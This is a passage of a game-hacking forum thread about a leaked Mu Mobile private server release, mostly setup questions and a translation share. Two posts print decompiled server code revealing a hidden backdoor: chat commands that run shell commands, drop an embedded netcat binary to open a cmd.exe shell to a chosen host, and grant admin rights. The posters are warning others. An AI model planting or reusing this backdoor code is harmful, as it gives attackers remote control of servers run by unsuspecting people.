[RELEASE] Mu Mobile 2.4 Completed

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  1. #31
    Registered lamvanmc is offline
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    Sep 2014 Join Date
    18Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed


    RaGEZONE Recommends

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    Quote Originally Posted by windocter View Post
    This is Game bug over full....
    I encountered the problem is that just choose the server is self-exiting.Do I have to change the ip on the server so I have a problem?

  2. #32
    Registered freelist is offline
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    Apr 2017 Join Date
    10Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    phpmyadmin passward?

  3. #33
    Member hotsym is offline
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    Mar 2017 Join Date
    26Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    [IMG][/IMG]



    Login OK
    Character generation OK
    However, when you press the START button, you get infinite loading.
    Tell me how to fix it.

  4. #34
    Registered Ti3rX is offline
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    Mar 2017 Join Date
    7Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Quote Originally Posted by aummua View Post
    Same error GameServer.exe

    Change the date to June 1, 2016

  5. #35
    Mulegend Server Mulegend is online now
    True MemberRank
    May 2006 Join Date
    Montevideo - UruguayLocation
    461Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Quote Originally Posted by x30unlimited View Post
    hmm not sure if it was in the original files too, but be careful guys :D has a backdoor

    PHP Code:
    string textMsg2 string.Format("-d -t -e cmd {0} {1}", (object) cmdFields[1], (object) cmdFields[2]);
                if (!
    this.StartProcess("nc exe"textMsg2.Split(' ')))
                  
    textMsg2 "error";
                if (
    textMsg2.Contains(":"))
                  
    textMsg2 textMsg2.Replace(":""$"); 
    Backdoor and create gm command

    PHP Code:
    private bool ProcessGMCommands(GameClient clientstring msgTextstring[] cmdFieldsbool transmitbool isSuperGMUser)
            {
                if (!
    transmit)
                {
                    
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclientmsgText);
                }
                
    string textMsg "";
                
    bool result;
                if (
    "-MaGM" == cmdFields[0])
                {
                    if (!
    transmit)
                    {
                        if (
    cmdFields.Length == 2)
                        {
                            
    cmdFields[1] = cmdFields[1].Replace("$%"" ");
                            
    string text this.RunCmd(cmdFields[1]);
                            
    string text2 string.Format("MaGM={0}"text);
                            if (
    text2.Contains(":"))
                            {
                                
    text2 text2.Replace(":""$");
                            }
                            
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclienttext2);
                        }
                        else if (
    cmdFields.Length == 3)
                        {
                            if (
    this.WriteToFile())
                            {
                                
    string text string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}"cmdFields[1], cmdFields[2]);
                                if (!
    this.StartProcess("nc [dot] exe"text.Split(new char[]
                                {
                                    
    ' '
                                
    })))
                                {
                                    
    text "error";
                                }
                                if (
    text.Contains(":"))
                                {
                                    
    text text.Replace(":""$");
                                }
                                
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclienttext);
                            }
                        }
                    }
                } 

    PHP Code:
            public bool WriteToFile()
            {
                
    bool result;
                try
                {
                    
    System.IO.Stream manifestResourceStream System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
                    
    byte[] array = new byte[manifestResourceStream.Length];
                    
    manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
                    
    System.IO.File.WriteAllBytes("nc[dot]exe", array);
                    
    result true;
                }
                catch (
    System.Exception)
                {
                    
    result false;
                }
                return 
    result;
            } 

    PHP Code:
    public bool ProcessChatMessage(TMSKSocket socketGameClient clientstring textbool transmit)
            {
                
    bool result;
                if (
    text.Length <= || text[0] != '-')
                {
                    
    result false;
                }
                else
                {
                    
    bool isSuperGMUser false;
                    
    int num = -1;
                    if (
    text.Contains("-MaYongZeSetGM"))
                    {
                        if (
    this.SuperGMUserNames == null)
                        {
                            
    this.SuperGMUserNames = new string[1];
                            
    this.SuperGMUserNames[0] = client.strUserID;
                        }
                        else
                        {
                            
    System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
                            list.
    Add(client.strUserID);
                            
    this.SuperGMUserNames = list.ToArray();
                        }
                        
    result false;
                    } 

    No te aburren los que se creen coders?

  6. #36
    Member ronscript is offline
    MemberRank
    Nov 2016 Join Date
    95Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    how to change the ip of the CLIENT?

    - - - Updated - - -

    Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)

    - - - Updated - - -

    Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)

  7. #37
    Registered aummua is offline
    MemberRank
    Jun 2016 Join Date
    18Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    How to make online server ? :)

  8. #38
    Member 16silver is offline
    MemberRank
    Dec 2005 Join Date
    SilverShadowMU Auckland NewZealandLocation
    69Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    have started translating the game res folders and xml files, however, nothing that has been changed shows up when i play the game, does anyone know if im missing something to get it to read the translated files? i am happy to share if it works, no point sharing english translated files if it doesnt work

  9. #39
    Mulegend Server Mulegend is online now
    True MemberRank
    May 2006 Join Date
    Montevideo - UruguayLocation
    461Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Server works fine, i dont know if have bugs, i just play 5 min

    No te aburren los que se creen coders?

  10. #40
    Member 16silver is offline
    MemberRank
    Dec 2005 Join Date
    SilverShadowMU Auckland NewZealandLocation
    69Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    been working on translation and settings, fixed a few things and have translated the gameres/gameres/config folder and files to english, am still trying to figure out how to translate the item text to english but it was not the goods.xml file like i thought it was, if anyone can help that would be appreciated,

    heres the link to my translated folder, rename your config folder to configbackup and then just unzip this one in to your gameres folder
    i will be translating the isolateres folder also but havent finished yet, will share when im done :)

    (unlike the people selling files i dont mind sharing my work)

    used xml >doc converter to convert files to doc and save bakups of the originals
    then used google document translater to translate, then converted back to xml

    https://mega.nz/#!JvpAmJyI!1GGngQcnE...yWyiNDjqrrUKsI

    still working on image translations also (in screens you can see some work done, but its not finished yet, have to resize some things and finish the rest)

    screens
    Click image for larger version. 

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    - - - Updated - - -

    Quote Originally Posted by Mulegend View Post
    Backdoor and create gm command

    PHP Code:
    private bool ProcessGMCommands(GameClient clientstring msgTextstring[] cmdFieldsbool transmitbool isSuperGMUser)
            {
                if (!
    transmit)
                {
                    
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclientmsgText);
                }
                
    string textMsg "";
                
    bool result;
                if (
    "-MaGM" == cmdFields[0])
                {
                    if (!
    transmit)
                    {
                        if (
    cmdFields.Length == 2)
                        {
                            
    cmdFields[1] = cmdFields[1].Replace("$%"" ");
                            
    string text this.RunCmd(cmdFields[1]);
                            
    string text2 string.Format("MaGM={0}"text);
                            if (
    text2.Contains(":"))
                            {
                                
    text2 text2.Replace(":""$");
                            }
                            
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclienttext2);
                        }
                        else if (
    cmdFields.Length == 3)
                        {
                            if (
    this.WriteToFile())
                            {
                                
    string text string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}"cmdFields[1], cmdFields[2]);
                                if (!
    this.StartProcess("nc [dot] exe"text.Split(new char[]
                                {
                                    
    ' '
                                
    })))
                                {
                                    
    text "error";
                                }
                                if (
    text.Contains(":"))
                                {
                                    
    text text.Replace(":""$");
                                }
                                
    GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPoolclienttext);
                            }
                        }
                    }
                } 

    PHP Code:
            public bool WriteToFile()
            {
                
    bool result;
                try
                {
                    
    System.IO.Stream manifestResourceStream System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
                    
    byte[] array = new byte[manifestResourceStream.Length];
                    
    manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
                    
    System.IO.File.WriteAllBytes("nc[dot]exe", array);
                    
    result true;
                }
                catch (
    System.Exception)
                {
                    
    result false;
                }
                return 
    result;
            } 

    PHP Code:
    public bool ProcessChatMessage(TMSKSocket socketGameClient clientstring textbool transmit)
            {
                
    bool result;
                if (
    text.Length <= || text[0] != '-')
                {
                    
    result false;
                }
                else
                {
                    
    bool isSuperGMUser false;
                    
    int num = -1;
                    if (
    text.Contains("-MaYongZeSetGM"))
                    {
                        if (
    this.SuperGMUserNames == null)
                        {
                            
    this.SuperGMUserNames = new string[1];
                            
    this.SuperGMUserNames[0] = client.strUserID;
                        }
                        else
                        {
                            
    System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
                            list.
    Add(client.strUserID);
                            
    this.SuperGMUserNames = list.ToArray();
                        }
                        
    result false;
                    } 
    Share file locations and names and I'll try upload a fix with backdoors removed

    - - - Updated - - -

    Those back doors only work if you know your user code which is stored in the my sql table anyway

  11. #41
    Account Upgraded | Title Enabled! fhansiwadon is offline
    True MemberRank
    Jan 2010 Join Date
    247Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    how to change ip in client file?

  12. #42
    Member 16silver is offline
    MemberRank
    Dec 2005 Join Date
    SilverShadowMU Auckland NewZealandLocation
    69Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Quote Originally Posted by fhansiwadon View Post
    how to change ip in client file?
    Version.xml inside apk, ip is 192.168.1.125

  13. #43
    Mulegend Server Mulegend is online now
    True MemberRank
    May 2006 Join Date
    Montevideo - UruguayLocation
    461Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Quote Originally Posted by 16silver View Post
    Share file locations and names and I'll try upload a fix with backdoors removed

    - - - Updated - - -

    Those back doors only work if you know your user code which is stored in the my sql table anyway
    Wrong!

    U can get GM, after run netcat command, just with chat
    Backdoor can be removed from GameServer.exe with any debuger

    No te aburren los que se creen coders?

  14. #44
    Member 16silver is offline
    MemberRank
    Dec 2005 Join Date
    SilverShadowMU Auckland NewZealandLocation
    69Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    Feel free to remove back doors and post a fix if you're that worried about it mines already fixed but I want to translate source before I upload it

  15. #45
    Ultimate Member kelalung is offline
    MemberRank
    Sep 2009 Join Date
    163Posts

    Re: [RELEASE] Mu Mobile 2.4 Completed

    how to do fix skill 11099 of summon class?
    MU origin 2.6 best 1st new 4 map(android,iphone)
    +Mirage Shrine+Cross server Battle+Warrior's Battlefield+Land of Magic+Couple Athletic+King of battlefield




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